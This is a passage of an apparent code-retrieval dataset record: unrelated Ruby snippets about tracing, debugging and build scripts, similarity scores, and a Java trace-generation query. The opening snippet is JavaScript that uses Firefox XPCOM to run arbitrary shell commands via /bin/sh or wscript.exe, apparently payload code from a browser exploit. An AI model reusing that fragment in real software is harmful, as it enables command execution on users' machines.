\"+cmd;\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n var b64 = svcs.btoa(shell);\n } else {\n shell = shPath+\" \"+cmd.replace(/\\\\W/g, shEsc);\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n }\n\n var process = Components.classes[\"@mozilla.org/process/util;1\"]\n .createInstance(Components.interfaces.nsIProcess);\n var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n\n if (windows) {\n sh.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\");\n process.init(sh);\n var args = [jscriptFile.path, b64];\n process.run(true, args, args.length);\n jscriptFile.remove(true);\n setTimeout(function(){cb(false, cmd+\"\\\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"/bin/sh\");\n process.init(sh);\n var args = [\"-c\", shell];\n process.run(true, args, args.length);\n setTimeout(function(){cb(false, readFile(stdout.path));});\n }\n };\n |\n end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def _dump(level)\n compile\n end",
"def test_parent_breakpoint\n # skip \"Need to add ISEQ parent link to 1.9.2 and further check of old code\"\n # require_relative '../../lib/trepanning'\n line = __LINE__ # This is the line we set the breakpoint for.\n 1.times do\n tf = RubyVM::Frame.get\n @cmdproc.frame_setup(tf)\n run_cmd(@my_cmd, [@name, line.to_s])\n assert_equal(true, @cmdproc.errmsgs.empty?, @cmdproc.errmsgs)\n assert_equal(0, @cmdproc.msgs[0] =~ @brkpt_set_pat, @cmdproc.msgs[0])\n reset_cmdproc_vars\n end\n end",
"def misty ci, &blk\n print 'stack: '; p ci.ctx.stack\n puts 'vars: '; p ci.ctx.vars\n print 'next instruction: '; p ci.peek\n gets\n ci.step\nend",
"def dump_code( type_switch = 1 )\n wf_name = label.downcase.gsub(/ /,'_')\n puts\n puts \"Code Snippets for #{ label }:\"\n puts\n puts \"Number of tasks: #{ @task_list.count }\"\n puts \"Number of flows: #{ @flow_list.count }\"\n puts \"Number of states: #{ @status_list.count }\"\n puts\n puts \"List of Task Labels (I18n format):\"\n puts \n puts \" workflow:\"\n puts \" w00:\"\n puts \" label:\\t'#{ label }'\"\n puts \" tasks:\"\n @task_list.each_with_index do |t,i|\n next if t.nil?\n puts \" #{ sprintf('t%02d',i)}:\\t'#{ t.label }#{ ' <obsolete>' if t.obsolete }'\"\n end\n puts \" states:\"\n obsolete_marker = Array.new( status_list.count, false )\n @flow_list.each{ |f| obsolete_marker[ f.status_id ] |= f.obsolete }\n @status_list.each_with_index do |l,i|\n puts \" #{ sprintf('s%02d',i )}:\\t'#{ status_list[ i ]}#{ ' <obsolete>' if obsolete_marker[ i ] }'\"\n end\n puts\n puts \"Transition Structure:\"\n puts\n printf \"@#{ wf_name } = WorkFlowHelper.new([\"\n\n case type_switch\n when 0\n sep = \"\\n\"\n @task_list.each do |t|\n flows = t.outflows.collect{ |f| f.id }.join(',')\n tasks = t.outflows.collect{ |f| f.target_task_id }.join(',')\n printf \"%s [[%s],[%s]]\", sep, flows, tasks\n sep = \",\\n\"\n end\n when 1\n sep = \"\\n\"\n flow_tasks = ''\n @task_list[0...-1].each do |t|\n next if t.nil?\n flow_tasks = t.outflows.collect{ |f| \"[ %d, %d ]\" % [ f.status_id, f.target_task_id ]}.join(',')\n printf \"%s [%s]\", sep, flow_tasks\n sep = \",\\n\"\n end\n printf \"%s [[ -1, %d ]]\\n\", sep, @task_list.length - 1\n end\n\n puts \"])\"\n puts\n\n # list all roles with tasks for which they are responsible\n\n puts 'Responsibilities:'\n puts\n @role_list.each_with_index do |r,i|\n s = sprintf \"%-20s\", @role_list[ i ]\n sep = ''\n @task_list[0...-1].each_with_index do |t,j|\n next if t.nil?\n if t.role_id == i then\n s += sep + j.to_s\n sep = ','\n end\n end\n puts s\n end\n puts\n\n # better warn the user if there were any validation errors ...\n\n if @validation_errors > 0 then\n puts \">>> Errors detected during validation - check full report above. <<<\"\n puts\n end\n\n end",
"def compile_program filename, sexp\n @filename = filename\n if sexp.nil?\n position = [] # because the debugger special-cases this possibility\n elsif sexp[0] == :block\n position = [] # because position will be printed anyway\n elsif sexp.source\n position = [[:position, @filename] + sexp.source]\n elsif sexp[0] == :masgn\n position = [[:position, @filename] + sexp[1][1].source]\n else\n no 'top s-exp with nil source'\n end\n\n position + compile(sexp)\n end",
"def run\n start\n trace\n wrapup\n end",
"def append_backtrace(node, duration)\n if duration*1000 >= Agent.config[:'nbs.action_tracer.stack_trace_threshold']\n trace = caller.reject! { |t| t.include?('tingyun_rpm') }\n # freeze here will reduce used memory\n trace = trace.first(20).map!(&:freeze)\n node[:stacktrace] = trace\n end\n end",
"def path() File.join(@outfd,code) end",
"def execute\n puts @robot.report\n end",
"def processFlowcell(fcName)\n puts \"Starting analysis for flowcell : \" + fcName.to_s\n currDir = Dir.pwd\n Dir::chdir(\"/stornext/snfs5/next-gen/Illumina/ipipe/lib\")\n cmd = \"ruby QseqGenerator.rb \" + fcName.to_s\n puts \"Running command : \" + cmd.to_s\n#=begin\n output = `#{cmd}`\n puts output\n#=end\n Dir::chdir(currDir)\n end",
"def processFlowcell(fcName)\n puts \"Starting analysis for flowcell : \" + fcName.to_s\n currDir = Dir.pwd\n Dir::chdir(\"/stornext/snfs5/next-gen/Illumina/ipipe/lib\")\n cmd = \"ruby QseqGenerator.rb \" + fcName.to_s\n puts \"Running command : \" + cmd.to_s\n#=begin\n output = `#{cmd}`\n puts output\n#=end\n Dir::chdir(currDir)\n end",
"def call_site_report( cs, include_count = false )\n header = [ \"Called\" ]\n header << \"#{cs.invocation_count} time(s)\" if include_count\n header << \"from #{cs.file}:#{cs.line_number}\"\n\n lines = [ header.join(' ') ]\n lines << \"\"\n cs.formatted_context_lines.each do |l|\n lines << \" #{l.rstrip}\"\n end\n lines << \"\"\n return lines\n end",
"def build_trace\n Backtrace.to_s(backtrace)\n end",
"def compile\n download_jonas\n download_deployme\n remove_jcl_over_slf\n puts 'Compile completed, release cmd to be run:'\n puts release\n end",
"def execute_cmd\t\n\t\t#rake_output = toolpath(\"webrobot\") + \"./results/#{@uuid}_stdout.tmp\"\n\t\t@keepstdout = false\n\t\tENV['FILE'] = File.join(File.dirname(__FILE__), \"/home/tasks/\"+@pattern)\n\t\tENV['WR_DEBUG'] = 'on'\n\t\t\n\t\tputs \"BREAK IT OFF\"\n\t\tapp = Rake.application\n\t\tapp.init\n\t\tapp.add_import toolpath(\"webrobot\", @task_data['toolbox_tools'], @task_data['tool_path_lookup'])+\"/webrobot.rake\"\n\t\tapp.load_imports\n\n\t\tputs \"executing WRTask command:: \" + @raketask\n\t\t\n\t\tif @keepstdout \n\t\t\tputs \"Executing rake (STDOUT)\"\n\t\t\tRake.application['for:real'].invoke()\n\t\t\t@output = \"1 example, 0 failures\"\n\t\t\t#@output = \"4 examples, 0 failures\"\n\t\telse \n\t\t\tputs \"Executing rake (STDOUT REDIR)\"\t\t\n\t\t\t\n\t\t\tbegin\n\t\t\t\tredirect_webrobot_stdout{Rake.application[@raketask].invoke() }\n\t\t\trescue\n\t\t\t\tputs \"SHIT BROKE\"\n\t\t\tensure\n\t\t\t\t@output = retrieve_webrobot_log\n\t\t\t\t@exit_status = case @output\n\t\t\t\t\twhen /0 failures/ then @task_data['test_exit_status_passed']\n\t\t\t\t\telse @task_data['test_exit_status_failed']\n\t\t\t\tend\t\n\t\t\t\t@matrix = {}\n\t\t\tend\n\t\tend\t\t\n\t\t\n\tend",
"def cmd(gem_source, component)\n [\n env_vars(gem_source, component),\n exec_order,\n \"oo::#{@impl}\",\n @json,\n @circuit\n ].join(' ')\n end",
"def report(print_statement)\n puts(print_statement)\n end",
"def generate_RunScript\n file_list = Array.new\n\n\n # Get Verilog File list fro Project File\n add_opt = nil\n case @Mode\n when \"ICE\"\n printf \"@I:Open orj file .. #{@PRJ}\\n\"\n open(\"#{@PRJ}\").each do |line|\n if /^add_file\\s+-verilog\\s+\\\"(.*)\\\"/ =~ line\n file_list << $1\n end\n end\n @TopModule = \"EVA_TOP\"\n add_opt = \"--disenable_auto_reflect\"\n add_modify_inst = \"chiptop,chiptop.chip,chiptop.chip.socket,port_iobuf\"\n if @ICEVer == nil\n printf(\"@E:Not Found ICE Version\\n\")\n exit\n end\n when \"Device\"\n printf \"@I:Open orj file .. #{@Library}\\n\"\n open(\"#{@Library}\").each do |line|\n if /`include\\s+\\\"(.*)\\\"/ =~ line\n file_list << $1\n end\n end\n @ICEVer = nil\n add_modify_inst = \"socket,port*_iobuf\"\n end\n\n # make directory\n dir_name = @ProductName + \"_\" + @DevVer\n Common.make_dir(dir_name)\n dir_name = dir_name + \"/\" + @Mode\n Common.make_dir(dir_name)\n\n # Generate List File\n file = dir_name + \"/\" + @ProductName + \"_\" + @DevVer + \".list\"\n printf \"@I:generate VerilogList File .. #{file}\\n\" \n f = open(\"#{file}\",\"w\")\n file_list.each do |verilog|\n f.printf \"#{verilog}\\n\"\n end\n f.close\n\n # Genrate Startup Run-Script\n file = dir_name + \"/run_Startup.sh\"\n printf \"@I:generate #{file}\\n\"\n f = open(\"#{file}\",\"w\")\n \n f.print <<EOB\n#!/bin/sh\n#############################################################\n#\n# FICE 2.0 Trial Environment using #{@ProductName}\n#\n#############################################################\n\n## BASE SETTING #################\n\nFICE=/home/m0001/rl0003/product/div-micom-ice/data/proj/RL78/Common/FICE/trunk\nFMAKE=${FICE}/bin/FMake.rb\n\nRUBY=/home/product/div-micom-ice/data/proj/RL78/Common/local/ruby/bin/ruby\n\n#################################\n\nVERILOG_LIST=./#{@ProductName}_#{@DevVer}.list\nTOP_MODULE=#{@TopModule}\nPRODUCT=#{@ProductName}\nDEV_VER=#{@DevVer}\nICE_VER=#{@ICEVer}\nADD_MODIDY_INST=#{add_modify_inst}\n\n${RUBY} ${FMAKE} --startup ${VERILOG_LIST} --top_module ${TOP_MODULE} --product ${PRODUCT} --dev_ver ${DEV_VER} --ice_ver ${ICE_VER} --add_modify_inst ${ADD_MODIDY_INST} #{add_opt} --verbose\n\nEOB\n f.close\n File.chmod(0744,\"#{file}\")\n\n # Genrate Startup Run-Script\n file = dir_name + \"/run_Analyze.sh\"\n printf \"@I:generate #{file}\\n\"\n f = open(\"#{file}\",\"w\")\n f.print <<EOB\n#!/bin/sh\n#############################################################\n#\n# FICE 2.0 Trial Environment using G1C\n# - Analyze Mode\n#\n#############################################################\n\n## BASE SETTING #################\n\nFICE=/home/m0001/rl0003/product/div-micom-ice/data/proj/RL78/Common/FICE/trunk\nFMAKE=${FICE}/bin/FMake.rb\n\nRUBY=/home/product/div-micom-ice/data/proj/RL78/Common/local/ruby/bin/ruby\n\n#################################\n\nCONF=./#{@ProductName}.conf\n\n${RUBY} ${FMAKE} --analyze ${CONF} --verbose\n\nEOB\n f.close\n File.chmod(0744,\"#{file}\")\n\n\n # Genrate Run-Script\n file = dir_name + \"/run.sh\"\n @ShellFiles << [dir_name,File.basename(file)]\n printf \"@I:generate #{file}\\n\"\n f = open(\"#{file}\",\"w\")\n f.print <<EOB\n#!/bin/sh\n#############################################################\n#\n# FICE 2.0 Trial Environment using G1C\n# - Startup/Analyze Mode\n#\n#############################################################\n\n./run_Startup.sh > startup.log\n./run_Analyze.sh > analyze.log\n\nEOB\n f.close\n File.chmod(0744,\"#{file}\")\n\n\n printf \"\\nFinished Successfully\\n\"\n\n end",
"def compilation_without_makefile\n # Build the program\n build_msg = `#{@build_command} *.c -o #{@pgm}`\n @log_file.puts \"\\nConstruction du programme :\\n\\n#{build_msg}\"\n end",
"def trace(begX, begY, endX, endY)\n solve(begX, begY, endX, endY)\n if @maze_trace.empty?\n return\n else\n @maze_trace.each do |i|\n print \"#{i} -> \"\n end\n print \"exit\"\n end\n end",
"def compile()\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n var rc;\n #{code.join(' ')}\n repl.rc_ok(rc);\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n self._code = []\n end",
"def inspect_jobs(index = nil)\n return empty_msg if empty?\n desc = []\n puts \"\\n\"\n @jobs.each_with_index do |j, i|\n unless index.nil?\n next unless i == index\n end\n desc << '| Job: ' + \" #{i + 1} \".rjust(8) + '|' + 'Pattern/AIV:'.rjust(18) + \" #{j.pattern.basename}\".ljust(125) + '|'\n desc << '| |' + 'Compiler ID:'.rjust(18) + \" #{j.id} \".ljust(125) + '|'\n desc << '| |' + 'AVC Files:'.rjust(18) + \" #{j.count} \".ljust(125) + '|'\n desc << '| |' + 'Output Directory:'.rjust(18) + \" #{j.output_directory} \".ljust(125) + '|'\n desc << '| |' + '.avc directory:'.rjust(18) + \" #{j.avc_dir} \".ljust(125) + '|'\n desc << '| |' + '.binl directory:'.rjust(18) + \" #{j.binl_dir} \".ljust(125) + '|'\n desc << '| |' + 'LSF:'.rjust(18) + \" #{j.location == :lsf ? true : false} \".ljust(125) + '|'\n desc << '| |' + 'Delete log files:'.rjust(18) + \" #{j.clean} \".ljust(125) + '|'\n desc << '| |' + 'Verbose:'.rjust(18) + \" #{j.verbose} \".ljust(125) + '|'\n if j.aiv2b_opts && j.aiv2b_opts.is_a?(String)\n aiv2b_opts = j.aiv2b_opts.gsub('AI_V2B_OPTIONS ', '')\n else\n aiv2b_opts = render_aiv2b_options_line.gsub('AI_V2B_OPTIONS', '')\n end\n desc << '| |' + 'AI_V2B Options:'.rjust(18) + \" #{aiv2b_opts} \".ljust(125) + '|'\n desc << '-' * desc.first.size\n end\n puts desc.flatten.join(\"\\n\")\n end",
"def gtprogram\n stmts\nend",
"def run\n print_banner\n @test_plan.each do |plan|\n found_nodes = nodes(plan)\n if found_nodes\n found_nodes.each { |node| execute_plan_tests(node, plan) }\n end\n end\n exit @ret_code\n end",
"def begin_investigation(processed_source); end",
"def script; end",
"def script; end"
] | [
"0.5608189",
"0.5282671",
"0.52793324",
"0.5163975",
"0.5157312",
"0.5133898",
"0.51140076",
"0.5084825",
"0.508095",
"0.50801665",
"0.50302386",
"0.5028595",
"0.50142825",
"0.49818859",
"0.4976015",
"0.49694765",
"0.49694765",
"0.4936821",
"0.493411",
"0.49049076",
"0.49045375",
"0.4896432",
"0.48952708",
"0.4887948",
"0.48760834",
"0.48705205",
"0.486164",
"0.4861416",
"0.48612723",
"0.4859598",
"0.48522097",
"0.48354137",
"0.48260614",
"0.48260614",
"0.4820548",
"0.4817539",
"0.4815589",
"0.48109892",
"0.48004952",
"0.47856662",
"0.47806218",
"0.47794294",
"0.47736332",
"0.47720075",
"0.47632352",
"0.4755345",
"0.4753404",
"0.47469658",
"0.47416806",
"0.47401977",
"0.4737216",
"0.4724813",
"0.47190684",
"0.4718375",
"0.4717825",
"0.47016862",
"0.46975595",
"0.46944425",
"0.46890184",
"0.4677407",
"0.46755996",
"0.4659699",
"0.46377045",
"0.4634431",
"0.46336877",
"0.46321103",
"0.46302798",
"0.46292785",
"0.46270147",
"0.46151453",
"0.46025923",
"0.4596224",
"0.45950845",
"0.4593337",
"0.45931184",
"0.4589051",
"0.45837724",
"0.4580016",
"0.45756733",
"0.45728785",
"0.4570441",
"0.45696527",
"0.45642167",
"0.45642167",
"0.4560859",
"0.45585346",
"0.4558465",
"0.45569745",
"0.45533666",
"0.45525494",
"0.45504698",
"0.45476875",
"0.4535524",
"0.45303202",
"0.45303065",
"0.45272958",
"0.452379",
"0.45148405",
"0.45146134",
"0.45146134"
] | 0.57624656 | 0 |
Generates the trace string that will be used in the visualization by generating the full execution trace then filter out all unnessesary traces param (see generate_backend_trace) | def seperate_and_filter_trace(junit_test_file,
files_path,
peruser_files_path,
student_file_name)
code_and_trace = generate_backend_trace(junit_test_file,
files_path,
peruser_files_path,
student_file_name)
splitter = '"' + 'trace' + '"' + ':'
user_code, whole_trace = code_and_trace.split(splitter)
whole_trace = whole_trace[1..whole_trace.length]
entire_json_file = code_analyzer(user_code, whole_trace)
entire_json_file
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def generate_tracing_configuration()\n result = \"\"\n\n if @tracing_vars\n @tracing_vars.each_with_index do |var_name, var_index|\n result += \"garbledwebpiratenlibraryname.add_traced_variable('#{var_name}', #{var_index})\\n\"\n end\n result += \"\\n\"\n end\n\n return result\n end",
"def generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n raw_code = junit_test_file\n raw_code.gsub! \"\\n\", \"\\\\n\" + \"\\n\"\n raw_code.gsub! \"\\t\", \"\\\\t\"\n lines = raw_code.split(\"\\n\")\n jUnit_test = ''\n lines.each { |line| jUnit_test += line}\n jUnit_test.gsub!('\\\"', \"\\\\\" + '\\\"')\n student_file = File.open(File.join(File.dirname(File.expand_path(__FILE__)),\n peruser_files_path,\n student_file_name), 'w+')\n full_string = '{' + \"\\n\" + '\"' + 'usercode' + '\"' + ':' + '\"' + jUnit_test +\n '\"' + ',' + \"\\n\" + '\"' + 'options' + '\"' + ':' + '{' + '}' \\\n ',' + \"\\n\" + '\"' + 'args' + '\"' + ':' + '[' + ']' + ',' \\\n \"\\n\" + '\"' + 'stdin' + '\"' + ':' + '\"' + '\"' + \"\\n\" + '}'\n student_file.puts(full_string)\n student_file.close\n output = `java -cp .:cp:cp/javax.json-1.0.4.jar:java/tools.jar traceprinter.InMemory < cp/traceprinter/output.txt` # the shell command\n output\nend",
"def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end",
"def filter_trace(params)\n trace = {}\n trace['stack'] = {}\n trace['stack']['ordered_variable_names'] = params[0]\n trace['stack']['encoded_locals'] = {}\n params[1].each_pair do |key, value|\n trace['stack']['encoded_locals'][key] = value\n end\n trace['heap'] = {}\n params[2].each_pair do |key, value|\n trace['heap'][key] = value if value.is_a?(Array) && value.length > 2\n end\n trace['code'] = params[3]\n trace['lineNumber'] = params[4]\n trace\n end",
"def to_string\n str = trace_id\n str += \"/#{span_id}\" if span_id\n unless sampled?.nil?\n options = 0\n options |= 1 if sampled?\n options |= 2 if capture_stack?\n str += \";o=#{options}\"\n end\n str\n end",
"def __trace_impl(*args, **opt, &block)\n opt[:no_log] = true unless opt.key?(:no_log)\n __output_impl(*args, **opt, &block)\nend",
"def remove_trace_func\n Kernel.clear_trace_func\n end",
"def trace_raw\n $log.debug \"XSS trace raw\"\n # Output\n $abst_dataflows.each do |n1, d1|\n if d1.subtype == 'raw_out'\n if $enable_stdout\n print \"\\e[31m\" # red\n puts \" #{n1} has raw output.\"\n print \"\\e[0m\" # reset\n end\n $log.debug \"XSS #{n1} has raw output. check the state that input #{d1.src_id}, output #{d1.dst_id}\"\n\n d1.xss_trace = true\n $abst_states[d1.dst_id].xss_out << d1\n # Input\n in_states = []\n $abst_dataflows.each do |n2, d2|\n if d2.dst_id == d1.src_id\n $log.debug \"XSS #{d2.src_id} ==(#{d2.type})==> #{d1.src_id} ==(raw)==> #{d1.dst_id}\"\n d2.xss_trace = true\n $abst_states[d1.dst_id].xss_in << d2\n in_states << d2.src_id\n end\n end\n\n # add to Warnings\n w = Hash.new\n w['warning_type'] = 'Cross Site Scripting'\n w['message'] = \"Unescaped model attribute, path in:#{in_states}->var:#{d1.src_id}->out:#{d1.dst_id}\"\n w['file'] = d1.filename # TODO: condblk.filename is nil\n w['file2'] = nil\n w['line'] = nil\n w['code'] = nil\n w['location'] = nil\n w['user_input'] = nil\n # put explicit raw here => programmer should have some intentions => but test\n w['confidence'] = 'High' # Weak Medium High\n w['hit_state'] = d1.dst_id\n w['hit_variable'] = d1.src_id\n $warning.add(w)\n end\n end\n\n # Trace C-V(raw_out)\n $abst_transitions.each do |n1, t|\n if !$abst_states[t.dst_id].nil? && $abst_states[t.dst_id].type == 'view'\n v = $abst_states[t.dst_id]\n if $abst_states[t.src_id].type == 'controller'\n c = $abst_states[t.src_id]\n # C-V\n c.test_xss_path << t if v.xss_out.count > 0\n end\n end\n end # trans loop\n end",
"def trace_execution_unscoped(metric_names, options={})\n return yield unless NewRelic::Agent.is_execution_traced?\n t0 = Time.now\n begin\n NewRelic::Agent.instance.push_trace_execution_flag(true) if options[:force]\n yield\n ensure\n NewRelic::Agent.instance.pop_trace_execution_flag if options[:force]\n duration = (Time.now - t0).to_f # for some reason this is 3 usec faster than Time - Time\n stat_engine.record_metrics(metric_names, duration)\n end\n end",
"def clean_trace bt, script_filename\n short_trace = []\n bt.each do |line|\n break unless line.include?(script_filename)\n short_trace << line\n end\n short_trace\n end",
"def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"def trace(text = \"\")\n puts text\n end",
"def build_trace\n Backtrace.to_s(backtrace)\n end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def trace message; write TRACE, message, caller[0] unless level > @level end",
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def create_traces_markup_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n story_detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n testcase_detail_url_prefix = \"https://#{rally_host}/#/detail/testcase\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_traceid |\n\n is_testcase = this_traceid.match(/^TC/)\n is_requirement = this_traceid.match(/^REQ/)\n\n if !is_testcase.nil? then\n testcase_tag, testcase_fid, testcase_oid, testcase_name = @testcase_TagFidOidName_by_reqid[this_traceid.sub(\"TC\", \"\")]\n\n if testcase_oid.nil? then\n @logger.warn \" *** No Rally TestCase found for Caliber TestCase: CID=#{this_traceid}; (link will be empty)\"\n this_trace = this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally TestCase: FmtID=#{testcase_fid}; OID=#{testcase_oid};\"\n #this_trace_name = @testcase_name_by_caliber_testcase_id[testcase_oid] || this_traceid\n this_trace_name = \"#{this_traceid}: #{testcase_name}\"\n\n detail_url = \"#{testcase_detail_url_prefix}/#{testcase_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n\n if !is_requirement.nil? then\n story_tag, story_fid, story_oid, story_name = @story_TagFidOidName_by_reqid[this_traceid.sub(\"REQ\", \"\")]\n\n if story_oid.nil? then\n @logger.warn \" *** No Rally UserStory found for Caliber Requirement: CID=#{this_traceid}; (link will be empty)\"\n this_trace = @req_name_by_reqid[this_traceid] || this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally UserStory: FmtID=#{story_fid}; OID=#{story_oid};\"\n #this_trace_name = @req_name_by_reqid[this_traceid.sub(\"REQ\", \"\")] || this_traceid\n this_trace_name = \"#{this_traceid}: #{story_name}\"\n\n detail_url = \"#{story_detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n end\n return traces_markup\nend",
"def trace!\n request! :trace\n end",
"def __trace(*args, **opt, &block)\n __trace_impl(*args, **opt, &block)\nend",
"def trace(message, *params)\n return unless wink.verbose\n message = message % params unless params.empty?\n request.env['rack.errors'].puts \"[wink] trace: #{message}\"\n end",
"def tracing()\n #This is a stub, used for indexing\n end",
"def create_traces_text_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_trace |\n story_oid = @story_TagFidOidName_by_reqid[this_trace][1]\n if !story_oid.nil? then\n this_trace_name = this_trace\n story_url_detail = \"#{detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{story_url_detail}\\\">#{this_trace_name}</a>\"\n end\n \n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end \n return traces_markup\nend",
"def mkTexTraceDisplay(trace)\r\n trace.gsub(\"_\", \"\\\\_\")\r\n end",
"def format!\n return unless trace\n return trace unless root_span\n\n # Because the trace API does not support\n # trace metadata, we must put our trace\n # metadata on the root span. This \"root span\"\n # is needed by the agent/API to ingest the trace.\n\n # Apply generic trace tags. Any more specific value will be overridden\n # by the subsequent calls below.\n set_trace_tags!\n\n set_resource!\n\n tag_agent_sample_rate!\n tag_hostname!\n tag_lang!\n tag_origin!\n tag_process_id!\n tag_rule_sample_rate!\n tag_runtime_id!\n tag_rate_limiter_rate!\n tag_sample_rate!\n tag_sampling_decision_maker!\n tag_high_order_trace_id!\n tag_sampling_priority!\n tag_profiling_enabled!\n\n trace\n end",
"def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end",
"def trace\n `#{@native}.trace()`\n end",
"def trace( *args )\n\t\tRake.application.trace( *args ) if Rake.application.options.trace\n\tend",
"def stop_trace\n if @trace_thread\n @trace_thread.kill\n @trace_thread = nil\n end\n end",
"def filter_backtrace(backtrace)\n target = backtrace.find_index{|line| line =~ /#{__FILE__.gsub('.', '\\.').gsub('/', '\\/')}.*eval/ }\n target ? backtrace[0..target] : backtrace\n end",
"def method_without_push_scope(method_name, metric_name_code, options)\n \"def #{_traced_method_name(method_name, metric_name_code)}(*args, &block)\n #{assemble_code_header(method_name, metric_name_code, options)}\n t0 = Time.now\n begin\n #{\"NewRelic::Agent.instance.push_trace_execution_flag(true)\\n\" if options[:force]}\n #{_untraced_method_name(method_name, metric_name_code)}(*args, &block)\\n\n ensure\n #{\"NewRelic::Agent.instance.pop_trace_execution_flag\\n\" if options[:force] }\n duration = (Time.now - t0).to_f\n NewRelic::Agent.record_metric(\\\"#{metric_name_code}\\\", duration)\n #{options[:code_footer]}\n end\n end\"\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n 